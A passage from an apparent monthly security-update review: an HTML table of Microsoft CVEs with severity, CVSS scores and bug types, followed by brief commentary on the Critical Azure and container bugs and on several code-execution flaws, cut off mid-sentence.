  Denial of Service Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21511"><span><span> </span>CVE-2026-21511<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-2804"><span><span> </span>CVE-2023-2804 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Red Hat, Inc. CVE-2023-2804: Heap Based
  Overflow libjpeg-turbo<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>Yes<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24302"><span><span> </span>CVE-2026-24302<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Arc Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.6</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24300"><span><span> </span>CVE-2026-24300<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Front Door Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21532"><span><span> </span>CVE-2026-21532<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Function Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21522"><span><span> </span>CVE-2026-21522<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23655"><span><span> </span>CVE-2026-23655<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21218"><span><span> </span>CVE-2026-21218<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>.NET and Visual Studio Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21512"><span><span> </span>CVE-2026-21512<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure DevOps Server Cross-Site Scripting
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">XSS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21529"><span><span> </span>CVE-2026-21529 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Azure HDInsight Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21528"><span><span> </span>CVE-2026-21528<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21228"><span><span> </span>CVE-2026-21228<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Local Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.1</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21531"><span><span> </span>CVE-2026-21531<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure SDK for Python Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21251"><span><span> </span>CVE-2026-21251<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Cluster Client Failover (CCF) Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20846"><span><span> </span>CVE-2026-20846<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GDI+ Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21523"><span><span> </span>CVE-2026-21523<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21518"><span><span> </span>CVE-2026-21518<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code
  Security Feature Bypass Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21257"><span><span> </span>CVE-2026-21257<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21256"><span><span> </span>CVE-2026-21256<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21516"><span><span> </span>CVE-2026-21516<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot for Jetbrains Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21253"><span><span> </span>CVE-2026-21253<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Mailslot File System Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21537"><span><span> </span>CVE-2026-21537 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Defender for Endpoint Linux
  Extension Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21259"><span><span> </span>CVE-2026-21259<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21258"><span><span> </span>CVE-2026-21258<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21261"><span><span> </span>CVE-2026-21261<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21527"><span><span> </span>CVE-2026-21527<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Exchange Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21260"><span><span> </span>CVE-2026-21260<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21229"><span><span> </span>CVE-2026-21229<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Power BI Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21236"><span><span> </span>CVE-2026-21236<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21238"><span><span> </span>CVE-2026-21238<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21241"><span><span> </span>CVE-2026-21241<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21517"><span><span> </span>CVE-2026-21517<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows App for Mac Installer Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21234"><span><span> </span>CVE-2026-21234<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21235"><span><span> </span>CVE-2026-21235<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21246"><span><span> </span>CVE-2026-21246<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21232"><span><span> </span>CVE-2026-21232<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21240"><span><span> </span>CVE-2026-21240<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21250"><span><span> </span>CVE-2026-21250<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21244"><span><span> </span>CVE-2026-21244<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21247"><span><span> </span>CVE-2026-21247<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21248"><span><span> </span>CVE-2026-21248<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21255"><span><span> </span>CVE-2026-21255<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21231"><span><span> </span>CVE-2026-21231<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21239"><span><span> </span>CVE-2026-21239<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21245"><span><span> </span>CVE-2026-21245<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21222"><span><span> </span>CVE-2026-21222<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21243"><span><span> </span>CVE-2026-21243<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Lightweight Directory Access
  Protocol (LDAP) Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841"><span><span> </span>CVE-2026-20841<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Notepad App Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21249"><span><span> </span>CVE-2026-21249<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows NTLM Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">3.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21508"><span><span> </span>CVE-2026-21508<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Storage Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21237"><span><span> </span>CVE-2026-21237<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21242"><span><span> </span>CVE-2026-21242<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1861"><span><span> </span>CVE-2026-1861 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1861 Heap buffer overflow
  in libvpx<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1862"><span><span> </span>CVE-2026-1862 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1862 Type Confusion in
  V8<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0391"><span><span> </span>CVE-2026-0391<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Edge (Chromium-based) for Android
  Spoofing Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.</p><p class="">Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a 